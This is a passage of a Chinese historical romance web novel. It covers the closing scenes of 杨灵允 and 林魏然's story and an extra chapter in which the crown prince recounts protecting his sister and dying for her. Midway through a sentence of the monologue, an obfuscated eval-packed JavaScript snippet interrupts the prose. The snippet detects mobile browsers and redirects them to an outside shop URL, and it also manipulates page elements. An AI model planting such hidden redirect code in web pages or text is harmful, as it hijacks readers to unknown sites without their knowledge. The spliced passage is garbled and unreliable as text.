沉默片刻后,宁舟拂袖离开。 林魏然抬眼看向不远处的杨灵允,对她摊开手心,轻声笑开:“来接我么?” 杨灵允站在原地,撇撇嘴,最终还是上前拉住林魏然的手,小声道:“我看你之前不是很介意他,怎么,现在就看着我被他纠缠?” 林魏然握紧了她的手,低声笑道:“只是跟你讨个好罢了,我知道你肯定不会将他放在眼里。” “那你去见巡案御史是为了什么?为何最近心事重重?”杨灵允忍不住问道。 林魏然挑眉笑了下:“我还以为你不会问我了。” “你早就知道我发现了,”杨灵允转头瞪他一眼,“就是什么都不说。” 林魏然讨饶般用指尖轻轻挠了挠她的手心,笑吟吟道:“好啦是我错了。我去见巡案御史是陛下的意思。他让我去巡视整个江南道。” “心事就是我担心你最近都不出门,你以前不是很喜欢出门玩么?不如我们同去冀州?” 但杨灵允最终还是没答应,林魏然一人一马去了冀州。不过离开那日杨灵允还在门口送他,还笑着嘱咐他早些回家。 ……“姐姐其实没有相信过任何一个人,她对将来的规划中只有她自己,”离开长安那夜,小皇帝略带沙哑的声音再次响起在林魏然耳边—— “林太傅,你就算去了青州,或许最多也就能得到你与姐姐过去在长安时的境况。纵使这般,你也愿意吗?” 少年天子抬眼,直直地盯着林魏然。 林魏然阖了阖眼,便轻声道:“宣和的心病不是一日两日能痊愈的。但臣愿意陪着她,就算什么都没有,就算她什么都不愿意承诺,臣也——” “无怨无悔。” 那时他想,至少宣和还愿意使手段来试探自己,那她对自己大约还是有几分期待的吧。 林魏然一人一马去冀州,回来时带着满车的东西,兴致勃勃地一一给杨灵允。 宁舟再也没来打扰过他们,他们过了一段很平静而温馨的日子。只有青州城中偶有流言,说福安酒楼背后的当家娘子——宣娘子在家中养了面首。 可惜宣娘子家远,又少露面,满腹好奇的人始终不得见。 秋末的一个深夜,落下的帐子遮住了床上的两人。 杨灵允躺在里面,想着今日林魏然背着她烧毁的那封信——是小皇帝让他去南州巡视的信。 小皇帝大约是猜到南州路远,林魏然定然不愿意,所以还特意写了一封寄给杨灵允。 信中其实没说什么,只说南州那边出了好几桩悬案,百姓人心惶惶,让林魏然帮忙去瞧瞧。但言下之意就是让杨灵允去劝林魏然。 但林魏然却没与她商量半个字就自作主张地决定了。想到这里,杨灵允一时有些不悦,抬手掀开了锦被。 旁边的林魏然睡得模模糊糊,还下意识反手将锦被又给她盖上了。 杨灵允看了看几乎是瞬间就盖回自己身上的被子,半晌无言,又伸手戳了戳林魏然的胸口。 “嗯?”林魏然意识困倦,半眯着眼将杨灵允抱紧了些,“冷了吗?” 他含糊问道。 本就盖着一床被子的两人这下几乎是紧紧依偎在一起,杨灵允耳边传来他平缓的呼吸声,她沉默片刻,再次戳了戳他的胸口。 “别闹了祖宗,”深更半夜,林魏然困得不行,连眼睛都睁不开了,只抬手揉了揉她的脑袋,安抚般地示意她快睡。 杨灵允眨了眨眼,忽然伸手搂住他的脖颈,略带寒意的唇擦过他的耳边,声音微哑:“我和你一起去南州。” “嗯去,南州。”林魏然在半梦半醒间随口应了一声,但片刻之后,他仿佛意识到了什么,猛然睁眼,脸上还带着惺忪的睡意,但眼睛清明仿佛先前那个困倦至极的人不存在。 他眼底还染着些难以置信:“你,你说什么?” 杨灵允一下就笑了,在林魏然耳边轻轻吐出一口气,含笑开口—— “我说,我和你去南州吧。回来我们就成婚。” 81. 番外二:太子独白 杨禛允从很小的时候就知道自己是大周的下一任皇帝。 那会他也才刚刚记事,母后病逝,他看着刚刚登基没几年的父皇在母后的灵堂中亲笔写下传位诏书,低声承诺:“梓童,你放心,只有我们的禛儿能继承大统。” 这封诏书被放在了位于东宫的先皇后祭坛中。 彼时,尚算年幼的杨禛允认为自己的母后会是父皇唯一的皇后。 但随着时间的流逝,长德帝还是立了新后,纳了新人,他的母后,先皇后,就这样渐渐被遗忘在宫闱中。 继后住进了未央宫,原本属于他和他母后的地方。 其实杨禛允心底毫无波动。母后离世,他不会把对母后的思念寄托在那些死物上。 更重要的是,随着年岁增长,凉薄的性子变本加厉地显露出来。 整个皇宫对他而言都是模糊而麻木的,他知道每日要走那条道,每日要做哪些事,但这些东西对他来说都蒙着一层纱,薄却韧,他看得清楚,但感知不到。 继后也是个冷淡的性子,皇帝对继后也并无感情,立后只是为了平衡前朝与后宫,十天半月都不会来一次未央宫。 所以,他就这样平淡而安静地一天天过着。 转折是在杨禛允十岁那年。 那年冬日,出乎所有人意料,继后诞下了一对双生子。姐姐刚出声时便哭声洪亮,而妹妹出生时气若游丝,仿佛随时会没了性命。 也难怪太医会诊断错。 杨禛允坐在自己的殿内,边习字边分神想着妹妹究竟能不能活过今夜。 但更出乎他意料的事发生了——继后让魏太医把妹妹送走了。 然后他被叫进了殿内,冷汗淋淋的继后第一次哀求地看他,求他替自己瞒下此事—— “反正阖宫上下都以为我腹中只有一胎,妹妹身子不好,在宫中是活不长久的,太子殿下,看在我与先皇后同出世家的份上,帮帮我吧。” 杨禛允没想到继后会这般大胆,但他沉默片刻,竟应下了。 或许是因为继后在床上面无血色的样子与母后的最后一面实在太像了,又或许是因为继后与母后在某些方面有着如出一辙的相似。 这些相似让他忍不住动了恻隐之心——被送出宫的那个孩子,或许是继后对自由唯一的寄托了。 继后生育后的第二日,皇帝才姗姗来迟。他对继后毫无感情,对继后所出的公主自然也毫无感情,草草看了两眼便离开。 不过他离开前来看了杨禛允,摸着他的脑袋温和地说:“如今皇后已有了自己的子嗣,禛儿也到了年纪,等过完年,便搬去东宫住吧。” 杨禛允远远听到主殿那边传来公主的哭声,这是未央宫少见的喧嚣,在某些瞬间甚至刺破了那些薄薄的纱。 他说:“父皇,历朝都是年满十二才能入住东宫。儿臣不想破了规矩。” 皇帝有些意外,但也没放在心上,还夸奖了两句他,然后才离开。 杨禛允的日子依旧这样平静无波地过下去。他每日要去书房读书,在未央宫的时间其实不多,但也能知道继后生产后伤了身子,成日躺在床上,连公主也不爱看。 父皇就更别提了,十天半个月也不会来看一次公主。 公主,基本都是靠奶嬷嬷们养大的。 直到周岁,才有了名字和封号——临安公主,杨灵允。 周岁宴散得很快——阖宫都知道临安公主不受皇上喜爱,自然也没什么人愿意多看两眼这个注定不受宠的公主。 渐渐的,未央宫除了有个皇后的虚名,跟冷宫没什么差别——几乎没有妃嫔会上门。就算有人上门,皇后也不见。 杨禛允看着这人走茶凉的景象,莫名生出几分感慨,然后转脚去看了公主。 不知为何,公主哭得停不下来,奶娘抱在怀里哄了又哄也不管用。杨禛允一向不喜欢这些麻烦,但这一次却鬼使神差地上前拿玉佩逗了逗公主。 他本以为没什么用,可公主一见他,忽然就止住了哭声,犹挂泪痕的小脸上一下就露出笑容,抓着他的玉佩咯咯笑了起来。 “哥,哥……” 含糊的童音响起在殿内。 杨禛允难以置信地转头看奶娘:“她叫我什么?” “哥哥。” 这第二声哥哥清清楚楚地传入杨禛允耳中,他僵了片刻,想收回被公主抓着的玉佩,但公主似乎是极喜欢这枚玉佩,抓着不放手,还仰头对杨禛允笑—— “哥哥。” 她笑呵呵地,接连喊了好几声。 稚嫩的童音戳破了所有灰蒙蒙的纱,在一切都赤.裸.裸地展露出来的这一刻,杨禛允落荒而逃,连玉佩都没拿。 但此事之后,他去看杨灵允的次数明显多了不少。 杨禛允很难判断自己究竟是何时对这个异母的妹妹有了情感,但在天长日久的相处中,杨禛允已经习惯了生活中有个热热闹闹的声音,含笑喊他——“哥哥”。 阖宫皆知,虽说临安公主不受陛下喜爱,但与太子殿下关系极好。得罪了临安公主,就等于得罪了太子殿下。 杨禛允不知道父皇知不知晓后宫中的这些事,不过在他责罚了怠慢未央宫的宫人后,父皇仍旧什么也没说,可也仍旧极少来未央宫。 仿佛当整个未央宫都不存在。 后来,杨禛允忍不住试探了一下。 那时皇帝挑了挑眉,轻描淡写:“虽说如今皇后抱病,但傅氏的脸面还是要给。至于临安,你愿意惯着她就惯着她,只是别闹出什么事,丢了你东宫的颜面。” 那一刻杨禛允恍然明白——自己与父皇是如出一辙的凉薄。 父皇未必讨厌继后与宣和,他只是不在乎,全然地不放在心上。 不过日子还是照样过。 杨灵允渐渐长大。因着母后长期礼佛,身子又不好,未央宫长期笼着阴郁沉默,所以她愈发不爱呆在宫中,甚至常常背着宫人溜出宫去玩。 杨禛允阻拦过她一次,但在送她回未央宫后,那种沉闷的气氛连他自己都有些受不住。 彼时杨灵允才到他肩头,仰着头看他,小声说:“哥哥,我不想一直呆在这里。” 杨禛允沉默片刻——自己如今在朝中做事,不可能像从前那般常常来未央宫看她,未央宫便真的成了一个彻彻底底的冷宫了。 “罢了。”杨禛允揉了揉她的脑袋,再没说什么,只是每次都任劳任怨地派人暗中保护她,并帮她善后。 直到她认识了自己的表弟,林魏然。 在他去苏州办事的几个月中,两人的感情已经发展到一种难以遏制的地步,杨禛允无奈,答应了帮她去向父皇请婚,顺便也给自己请婚—— 他在苏州意外认识了一个名为幼莲的女子,干柴烈火之下她怀了自己的骨肉。 彼时杨禛允正值青年,是最意气风发最自傲的时候,他不认为自己如今还需要靠朝中大臣来稳固自己的位置,便决定把太子妃之位给幼莲。 可朝会之后,皇帝并未立即应下,反而派他去京郊办一桩差事。差事办完后,杨禛允匆匆回京,就收到了幼莲被纳入宫的消息。 他震惊至极,甚至失态地当众忤逆了父皇——然后,被废了,幽禁东宫。 那段时间他长久地睡不着觉,想着到底是哪里出了问题,为何转眼之间一切就都变了模样? 后来,杨灵允悄悄跑来东宫看他,告诉他—— 云妃娘娘说,太子殿下谨记韬光养晦,切莫再做张扬之事。否则,幼莲只是一个开始。 在这一瞬间,杨禛允终于明白了自己父皇的心思——他对自己生出了猜忌之心。 大约就是因为那封位于东宫的传位诏书。 “哥?”杨灵允小心地看着他的脸色,“你还好吗?幼莲姐姐我与云妃娘娘会帮忙照顾着,你别担心。” “父皇知道幼莲入宫前已经有孕吗?” 杨灵允沉默片刻:“我听幼莲姐姐说,是父皇身边的管事大太监冯公公去了乌山别院,说她如果不入宫你就会出事,她就……入宫了。幼莲姐姐有孕不过一月,我让魏太医帮忙照看着,不会有事的。” “那你呢?你与容时呢?”杨禛允又问道。 杨灵允一下避开他的眼睛,揪了揪衣袖:“他去雍州做官了。王师傅说,我们这桩婚事如今也是父皇的眼中钉,他走了也好。” 杨禛允阖了阖眼,在这一刻流露出难得的疲惫失意,他轻叹道:“对不住,是我害了你们。” “哥!”杨灵允气恼地瞪他一眼,“你说什么话?王师傅说父皇只是一时生气,你早晚会恢复太子之位的。” 杨灵允在这些时日的巨变中也瘦了不少,巴掌大的脸只剩些许婴儿肥,与杨禛允当初精心养出来的模样天差地别。 杨禛允勉强弯了弯唇,抬手揉了揉她的脑袋,安抚道:“嗯,你别担心我,有事就去找王太傅,实在不行找母后也行。” “她哪会搭理人……”杨灵允闷闷地垂了脑袋,还想再说什么,但门外已经传来侍女焦急的声音—— “公主,快走吧。” 杨灵允不得不离开了,说过几天再来看他。 她离开后,杨禛允沉默了很久,然后开始着手联系东宫的人。 若只有他一个人,被囚就被囚罢,反正诏书在他手上,他没什么好担心的。但宣和还在外面。 若他坐以待毙,这一次是幼莲,下一次……若是宣和呢? 若父皇当真决定拿宣和威慑自己呢? 这个念头刚刚浮起就让杨禛允狠狠打了一个冷颤——他绝对不能允许这种事情发生。 云妃在他被废没几日就把安王送去了冀州,剩下在京中的那些废物弟弟,就算他被困在东宫,照样不是他的对手。 没过一年,他就再次复了太子之位。 这一次,他谨小慎微,父皇对他很满意。 平稳的日子过了不到三年——他当初被幽禁期间私联东宫太子党的消息被云厉猝不及防地捅到了父皇面前。 已经年迈的老皇帝在骤怒之下甚至不听他一句辩解,就再次废了他的太子之位,幽禁东宫。 这次幽禁时期的守卫比上次多了一倍不止,他再没机会联系外界了。 日头东升西落,便是一天。 杨禛允不记得自己看过多少次东升西落,才等到了杨灵允。 “宣和你没事吧?”他迫切地扑上前问道,“云厉……” “哥,”杨灵允声音沙哑,她似乎在这短短一段时间经历了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050050|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常多的事情,脸上带着一种麻木的平静,“母后死了,幼莲姐姐也死了,七殿下移居废宫。宁安侯致仕,林魏然流放南州。” “哥,云厉不会放过你。你不争,就是死了。” “宣和你……如何知道这么多?”杨禛允心底漫上一股剧烈的不安。 杨灵允垂着眼睛,没有回答他的问题,只是道:“如今宫外的太子党都等着你,我能帮你们传递消息。” “哥,我助你登基,你放我离开长安好不好?” “我不想嫁人,我想离开长安。” 最开始,杨禛允是不同意的。他一点都不想让杨灵允掺和进这些乱七八糟的斗争中——他的妹妹,就该是千娇万惯地,快快乐乐地活一辈子。 但在皇权的倾轧下,他们所有人都没的选择。 时间就这样一日一日地过去了。杨灵允不常来东宫,但杨禛允还是看得出她变得阴郁寡言,来了只说朝堂之事,笑都不笑一个。 再到后面,她愈发削瘦,厚厚的大氅都遮不住她凸出的肩胛骨。 不安之情日渐疯涨,杨禛允劝过,甚至威胁过,可杨灵允始终油盐不进,只平淡地说—— “你保护了我这么多年,我不能在这种时候独自离开。” 她甚至不喊一句哥哥了。 有一回的争吵间,杨禛允口不择言:“你分明恨我,又何必在乎过去哪点情分?我不需要你这样!” 杨灵允来时总是在黄昏或深夜,但那日她却在清晨来,披着厚厚的大氅,在原地愣了很久。 杨禛允垂眼,零落的日光照着他日益削瘦的面孔,“你去青州吧。如今还不算晚,父皇会同意的。” 半晌沉默之后,杨灵允才慢慢开口:“哥,我从未恨过你。走到如今没有一件事是你的错。” “等你登基了,我就离开长安。” 杨禛允眼睁睁地看着她再次消失在东宫大门后,自己却什么都做不了。 他一拳狠狠砸在桌上,宛如困兽。 后来杨灵允更少来了,有时是她自己来,有时让那个新上位的平侯来。 消息一日比一日好,事态的发展让所有人都喜出望外。但杨禛允却在其中察觉了隐约的不安——宣和的手段愈发狠厉,甚至有……逼宫之势。 直到某一日,本该是约定见面的日子,杨灵允没到,来的又是平侯。 平侯说:“今夜公主殿下有大事要做,殿下且在东宫等等。” 这看上去似乎没什么异常,但杨禛允心底却陡然不安。 杨灵允是不是在着手逼宫了? 不能让她背上这种罪名,若真的有人要承担这些,也该是他。杨禛允在那一刻做了决定。 他甚至没多犹豫几分,便拿出了那道从他年幼时就收于东宫的诏书,附着一封他的亲笔信,让闻九通过冯内侍呈给父皇。 他不在乎了,他这一生,辉煌过也落魄过,万人之巅他去过,泥潭深沼他也陷过。他对得起母后的教导,为人子为人臣都无愧于心。 过去抱着那封诏书不放手,也不过是想证明一下或许自己的父皇对自己还是有几分怜惜的。 但事到如今,他已经不在乎这些了。 只要宣和能好好的,安安稳稳地离开长安,去青州过她想要的日子,就够了。 将诏书给闻九是杨禛允深思熟虑后的举动。 闻九入宫出宫必只能通过宣德门,宣德门的守卫是他的人,无论闻九有没有按照他说的做,那封诏书最终都会被呈到皇帝面前。 但他算漏了一点——杨灵允从未打算让他与逼宫一事有任何牵扯,她只要轻轻扭曲几个字眼,足以让他错误地预估逼宫时间。 所以,在当日深夜,杨禛允便瞧见了冲天的火光,震耳的厮杀声隐隐约约地从远处传来。 有人在逼宫。 他心底陡沉,下意识地推门。 门不知道被谁撬开了,守卫也统统都被调走。大开的宫门外一片漆黑,仿佛一个陷阱,等着他自投罗网。 但杨禛允只有一个选择,他也只会做那一个决定——毫不犹豫地踏入了黑暗之中。 火光照着整座宫城,流淌的鲜血粘腻得令人作呕。 满宫的混乱间,杨禛允眼底也淌着鲜血,看不见太多,他只看到了背对着自己、站在无数刀剑之中的杨灵允,还有一只直指她后心的利箭。 “扑哧”—— 箭被他挡住了。 剧烈的疼痛与惊慌嘈杂的声音一同爆开,杨禛允眼前有片刻发黑,等他视线再次清晰时,禁军已经里三圈外三圈地护住了他们。 他看见杨灵允跪坐在他身前,神色惊慌,削瘦的面上沾着未干的血迹。 意识混乱间,杨禛允仿佛又听到她在喊哥哥,与当年她周岁时那脆生生的含笑声音混在一起…… 杨禛允意识渐渐涣散,又在周围的喧杂间艰难地聚起些许清明。 他很慢地抬手,替她拭去了脸上的血迹。嘴角弯出了细微的弧度,杨禛允想开口说话,但喉管间蔓延的血腥味却让他难以出声。 最后的最后,他只能用残存的一点力气捂住了杨灵允的眼睛—— 别看,别哭,宣和,要活下去。哥哥不能保护你了,要好好保护自己啊。